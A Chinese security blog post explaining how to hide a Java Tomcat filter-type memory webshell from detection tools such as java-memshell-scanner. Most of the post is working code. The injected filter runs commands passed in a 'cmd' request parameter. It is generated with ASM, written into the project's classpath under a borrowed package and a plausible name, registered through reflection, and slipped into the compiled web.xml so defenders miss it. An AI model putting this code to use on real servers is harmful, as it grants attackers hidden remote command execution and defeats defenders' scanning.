学习了c0ny1师傅写的查杀Java web filter型内存马
Filter型内存马的查杀思路主要是这四条:
classpath下笔者想办法绕过了这四条的验证
先来看看已有内存马查杀工具的效果
比如天下大木头师傅的查杀截图:
arthas

copagent

比较好用的java-memshell-scanner

有针对性地对四条检测进行分析,最终能够达到以下的效果
shiroFilter和userFilter等org.sec.tomcat)然后修改恶意filter的包名一致classpath中是真实存在的

web.xml中的内容(编译后的web.xml)
通过以上5步可以做到:
如果防御人员对后端业务逻辑和代码没有比较深入的掌握情况下是无法查出内存马的
哪怕借助工具也很难查杀
首先第一步是对已有业务Filter的信息做收集,以确实恶意的filter需要怎样命名
排除org.apache.tomcat包下的系统Filter只考虑项目包的自定义Filter
(核心代码参考c0ny1师傅的java-memshell-scanner)
xxxxxxxxxxString startName = "";String path = "";// 获取contextWebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();HashMap<String, Object> filterConfigs1 = getFilterConfig(standardCtx);Object[] filterMaps1 = getFilterMaps(standardCtx);List<String> names = new ArrayList<>();// 遍历已经存在的fitlerfor (int i = 0; i < filterMaps1.length; i++) { Object fm = filterMaps1[i]; Object appFilterConfig = filterConfigs1.get(getFilterName(fm)); if (appFilterConfig == null) { continue; } Field _filter = appFilterConfig.getClass().getDeclaredField("filter"); _filter.setAccessible(true); Object filter = _filter.get(appFilterConfig); String filterClassName = filter.getClass().getName(); ApplicationFilterConfig afc = (ApplicationFilterConfig) appFilterConfig; // 拿到包名:a.b.class->a.b String[] temp = filterClassName.split("\\."); StringBuilder tmpName = new StringBuilder(); for (int j = 0; j < temp.length - 1; j++) { tmpName.append(temp[j]); if (j != temp.length - 2) { tmpName.append("."); } } // 如果是tomcat的包略过 if (tmpName.toString().contains("org.apache.tomcat")) { continue; } // 正确情况记录下包名和类名 startName = tmpName.toString(); // 拿到classpath为了后续添加文件 URL url = filter.getClass().getResource(""); path = url.toString(); names.add(afc.getFilterName());}// a.b.c->a/b/c 后续有用startName = startName.replaceAll("\\.", "/");path = path.split("file:/")[1];从常见filter列表里确定新的名字,需要和tomcat已有的名字不冲突
实际上这个nameArray数组可以设置为可配置的,自行根据目标业务逻辑编写
xxxxxxxxxxString[] nameArray = new String[]{"testFilter", "loginFilter", "coreFilter", "userFilter", "manageFilter", "shiroFilter", "indexFilter"};List<String> nameList = Arrays.asList(nameArray);// 随机打乱数组Collections.shuffle(nameList);String finalName = null;// 选择一个目前tomcat中不包含的filterfor (String s : nameArray) { if (names.contains(s)) { continue; } finalName = s;}if (finalName == null) { return;}String newClassName = finalName;// 驼峰处理 testFilter->TestFilterbyte[] items = newClassName.getBytes();items[0] = (byte)((char)items[0]-'a'+'A');;newClassName = new String(items);
根据以上收集到的信息,将字节码写入指定位置
例如项目的包名是com.test.project,模拟的类名是UserFilter,那么就需要构造出恶意的字节码,写入.../classes/com/test/project/UserFilter.class
xxxxxxxxxxbyte[] code = getFilter(startName + "/" + newClassName);Files.write( Paths.get(path + "/" + newClassName + ".class"), code);String tmpName = startName + "/" + newClassName;tmpName = tmpName.replaceAll("/", ".");上文的getFilter函数其实是重点部分,作用是根据类名生成字节码
动态生成字节码就要借助ASM框架,代码如下
xxxxxxxxxxpublic static byte[] getFilter(String fullName) { ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES); MethodVisitor methodVisitor;
classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, fullName, null, "java/lang/Object", new String[]{"javax/servlet/Filter"}); methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null); methodVisitor.visitCode(); methodVisitor.visitVarInsn(ALOAD, 0); methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false); methodVisitor.visitInsn(RETURN); methodVisitor.visitMaxs(1, 1); methodVisitor.visitEnd(); methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "init", "(Ljavax/servlet/FilterConfig;)V", null, new String[]{"javax/servlet/ServletException"}); methodVisitor.visitCode(); methodVisitor.visitInsn(RETURN); methodVisitor.visitMaxs(0, 2); methodVisitor.visitEnd(); methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "doFilter", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V", null, new String[]{"java/io/IOException", "javax/servlet/ServletException"}); methodVisitor.visitCode(); methodVisitor.visitVarInsn(ALOAD, 1); methodVisitor.visitTypeInsn(CHECKCAST, "javax/servlet/http/HttpServletRequest"); methodVisitor.visitVarInsn(ASTORE, 4); methodVisitor.visitVarInsn(ALOAD, 4); methodVisitor.visitLdcInsn("cmd"); methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/http/HttpServletRequest", "getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true); Label label0 = new Label(); methodVisitor.visitJumpInsn(IFNULL, label0); methodVisitor.visitIntInsn(SIPUSH, 1024); methodVisitor.visitIntInsn(NEWARRAY, T_BYTE); methodVisitor.visitVarInsn(ASTORE, 5); methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); methodVisitor.visitVarInsn(ALOAD, 4); methodVisitor.visitLdcInsn("cmd"); methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/http/HttpServletRequest", "getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); methodVisitor.visitVarInsn(ASTORE, 6); methodVisitor.visitVarInsn(ALOAD, 6); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false); methodVisitor.visitVarInsn(ALOAD, 5); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false); methodVisitor.visitVarInsn(ISTORE, 7); methodVisitor.visitVarInsn(ALOAD, 2); methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletResponse", "getWriter", "()Ljava/io/PrintWriter;", true); methodVisitor.visitTypeInsn(NEW, "java/lang/String"); methodVisitor.visitInsn(DUP); methodVisitor.visitVarInsn(ALOAD, 5); methodVisitor.visitInsn(ICONST_0); methodVisitor.visitVarInsn(ILOAD, 7); methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/String", "<init>", "([BII)V", false); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/PrintWriter", "write", "(Ljava/lang/String;)V", false); methodVisitor.visitVarInsn(ALOAD, 6); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "destroy", "()V", false); methodVisitor.visitInsn(RETURN); methodVisitor.visitLabel(label0); methodVisitor.visitVarInsn(ALOAD, 3); methodVisitor.visitVarInsn(ALOAD, 1); methodVisitor.visitVarInsn(ALOAD, 2); methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain", "doFilter", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", true); methodVisitor.visitInsn(RETURN); methodVisitor.visitMaxs(6, 8); methodVisitor.visitEnd(); methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "destroy", "()V", null, null); methodVisitor.visitCode(); methodVisitor.visitInsn(RETURN); methodVisitor.visitMaxs(0, 1); methodVisitor.visitEnd(); classWriter.visitEnd(); return classWriter.toByteArray();}其实复杂的ASM代码,本质是生成以下这样的类的字节码
xxxxxxxxxxpublic class ShellFilter implements Filter { public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { byte[] bytes = new byte[1024]; Process process = Runtime.getRuntime().exec(req.getParameter("cmd")); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes, 0, len)); process.destroy(); return; } filterChain.doFilter(servletRequest, servletResponse); }
public void destroy() {
}}生成字节码后写入classpath中对应的地方,加载和实例化Filter的时候直接Class.forName就可以
xxxxxxxxxx// 反射调用Class<?> c = standardContext.getClass().forName(tmpName);Filter filter = (Filter) c.newInstance();
// 以下是注册filter的逻辑FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(finalName);filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(finalName);filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(finalName, filterConfig);
最后一步就是修改web.xml的配置了
虽然修改的是编译后的web.xml,但是防御人员一般没有源码审计,只能审计编译后的字节码和web.xml文件
xxxxxxxxxx// 注意得加入换行和缩进达到视觉美观// 要不然一眼就能看出来被修改过String targetData = " <filter>\n" + " <filter-name>%s</filter-name>\n" + " <filter-class>%s</filter-class>\n" + " <init-param>\n" + " <param-name>charset</param-name>\n" + " <param-value>UTF-8</param-value>\n" + " </init-param>\n" + " </filter>\n" + " <filter-mapping>\n" + " <filter-name>%s</filter-name>\n" + " <url-pattern>/*</url-pattern>\n" + " </filter-mapping>\n";String className1 = startName + "/" + newClassName;className1 = className1.replaceAll("/",".");targetData = String.format(targetData, finalName,className1,finalName);
String resourcePath = filter.getClass().getResource("").toString();// 处理路径问题resourcePath = resourcePath.split("file:/")[1];resourcePath = resourcePath.split("WEB-INF")[0];String xmlPath = resourcePath+"WEB-INF/web.xml";byte[] data = Files.readAllBytes(Paths.get(xmlPath));String dataStr = new String(data);String prefix = dataStr.split("</web-app>")[0];StringBuilder finalData = new StringBuilder();finalData.append(prefix);finalData.append(targetData);finalData.append("</web-app>");// 写入新数据Files.write(Paths.get(xmlPath),finalData.toString().getBytes(StandardCharsets.UTF_8));
难点在于动态字节码,其他部分做起来不算复杂
一个思考:该手段是否有可能导致内存马的持久化呢?
已经写入了目标的classpath,由于模拟配置了web.xml,是否会导致第二次启动直接加载了恶意Filter
后来笔者挖某知名框架内存马时,摸索出一种进阶的内存马免杀:将恶意代码隐藏到框架必须的Filter中
将在后续的文章中和大家分享
笔者目前本科在读,才疏学浅,错误和不足之处还请大佬指出,十分感谢!